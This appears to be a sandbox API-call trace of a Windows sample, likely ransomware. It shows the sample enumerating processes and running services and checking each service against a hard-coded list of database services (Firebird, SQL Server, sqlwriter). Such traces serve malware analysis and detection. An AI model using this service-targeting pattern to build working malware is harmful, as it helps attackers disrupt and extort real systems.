	[0079.100] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0079.101] lstrlenW (lpString="conhost.exe") returned 11
	[0079.101] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.101] lstrlenW (lpString="svchost.exe") returned 11
	[0079.101] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0079.102] lstrlenW (lpString="fvppjh.exe") returned 10
	[0079.102] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0079.102] lstrlenW (lpString="svchost.exe") returned 11
	[0079.103] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0079.103] lstrlenW (lpString="cmd.exe") returned 7
	[0079.103] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0079.104] lstrlenW (lpString="conhost.exe") returned 11
	[0079.104] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0079.104] lstrlenW (lpString="dllhost.exe") returned 11
	[0079.104] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0079.105] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0079.105] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0079.106] lstrlenW (lpString="mode.com") returned 8
	[0079.106] Process32NextW (in: hSnapshot=0x36c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0079.106] CloseHandle (hObject=0x36c) returned 1
	[0079.106] Sleep (dwMilliseconds=0x1f4) 
	[0079.835] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75ec28
	[0079.836] EnumServicesStatusExW (in: hSCManager=0x75ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0079.836] GetLastError () returned 0xea
	[0079.836] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1d6a) returned 0x783bf0
	[0079.837] EnumServicesStatusExW (in: hSCManager=0x75ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x783bf0, cbBufSize=0x1d6a, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x783bf0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0079.837] CloseServiceHandle (hSCObject=0x75ec28) returned 1
	[0079.838] lstrlenW (lpString="Appinfo") returned 7
	[0079.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0079.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0079.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0079.838] lstrlenW (lpString="AppXSvc") returned 7
	[0079.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0079.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0079.838] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0079.838] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0079.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0079.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0079.838] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0079.838] lstrlenW (lpString="Audiosrv") returned 8
	[0079.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0079.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0079.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0079.838] lstrlenW (lpString="BFE") returned 3
	[0079.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0079.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0079.838] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0079.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0079.839] lstrlenW (lpString="BITS") returned 4
	[0079.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0079.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0079.839] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0079.839] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0079.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0079.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0079.839] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0079.839] lstrlenW (lpString="CDPSvc") returned 6
	[0079.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0079.839] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0079.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0079.839] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0079.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0079.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0079.839] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0079.839] lstrlenW (lpString="CryptSvc") returned 8
	[0079.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0079.839] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0079.840] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0079.840] lstrlenW (lpString="DcomLaunch") returned 10
	[0079.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0079.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0079.840] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0079.840] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0079.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0079.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0079.840] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0079.840] lstrlenW (lpString="Dhcp") returned 4
	[0079.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0079.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0079.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0079.840] lstrlenW (lpString="Dnscache") returned 8
	[0079.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0079.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0079.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0079.840] lstrlenW (lpString="DoSvc") returned 5
	[0079.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0079.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0079.840] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0079.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0079.840] lstrlenW (lpString="DPS") returned 3
	[0079.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0079.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0079.841] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0079.841] lstrlenW (lpString="DusmSvc") returned 7
	[0079.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0079.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0079.841] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0079.841] lstrlenW (lpString="EventLog") returned 8
	[0079.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0079.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0079.841] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0079.841] lstrlenW (lpString="EventSystem") returned 11
	[0079.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0079.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0079.841] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0079.841] lstrlenW (lpString="FontCache") returned 9
	[0079.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0079.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0079.841] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0079.841] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0079.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0079.841] lstrlenW (lpString="gpsvc") returned 5
	[0079.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0079.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0079.841] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0079.841] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0079.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0079.842] lstrlenW (lpString="iphlpsvc") returned 8
	[0079.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0079.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0079.842] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0079.842] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0079.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0079.842] lstrlenW (lpString="KeyIso") returned 6
	[0079.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0079.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0079.842] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0079.842] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0079.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0079.842] lstrlenW (lpString="LanmanServer") returned 12
	[0079.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0079.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0079.842] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0079.842] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0079.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0079.842] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0079.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0079.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0079.842] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0079.842] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0079.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0079.842] lstrlenW (lpString="lfsvc") returned 5
	[0079.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0079.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0079.842] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0079.842] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0079.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0079.842] lstrlenW (lpString="lmhosts") returned 7
	[0079.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0079.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0079.842] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0079.843] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0079.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0079.843] lstrlenW (lpString="LSM") returned 3
	[0079.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0079.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0079.843] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0079.843] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0079.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0079.843] lstrlenW (lpString="MapsBroker") returned 10
	[0079.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0079.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0079.843] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0079.843] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0079.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0079.843] lstrlenW (lpString="MpsSvc") returned 6
	[0079.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0079.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0079.843] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0079.843] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0079.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0079.843] lstrlenW (lpString="NcbService") returned 10
	[0079.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0079.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0079.843] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0079.843] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0079.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0079.843] lstrlenW (lpString="netprofm") returned 8
	[0079.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0079.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0079.843] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0079.843] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0079.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0079.843] lstrlenW (lpString="NlaSvc") returned 6
	[0079.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0079.844] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0079.844] lstrlenW (lpString="nsi") returned 3
	[0079.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0079.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0079.844] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0079.844] lstrlenW (lpString="PcaSvc") returned 6
	[0079.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0079.844] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0079.844] lstrlenW (lpString="PlugPlay") returned 8
	[0079.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0079.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0079.844] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0079.844] lstrlenW (lpString="Power") returned 5
	[0079.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0079.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0079.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0079.844] lstrlenW (lpString="ProfSvc") returned 7
	[0079.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0079.844] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0079.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0079.845] lstrlenW (lpString="RpcEptMapper") returned 12
	[0079.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0079.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0079.845] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0079.845] lstrlenW (lpString="RpcSs") returned 5
	[0079.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0079.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0079.845] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0079.845] lstrlenW (lpString="SamSs") returned 5
	[0079.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0079.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0079.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0079.845] lstrlenW (lpString="Schedule") returned 8
	[0079.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0079.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0079.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0079.845] lstrlenW (lpString="SecurityHealthService") returned 21
	[0079.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0079.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0079.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0079.845] lstrlenW (lpString="SENS") returned 4
	[0079.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0079.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0079.845] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
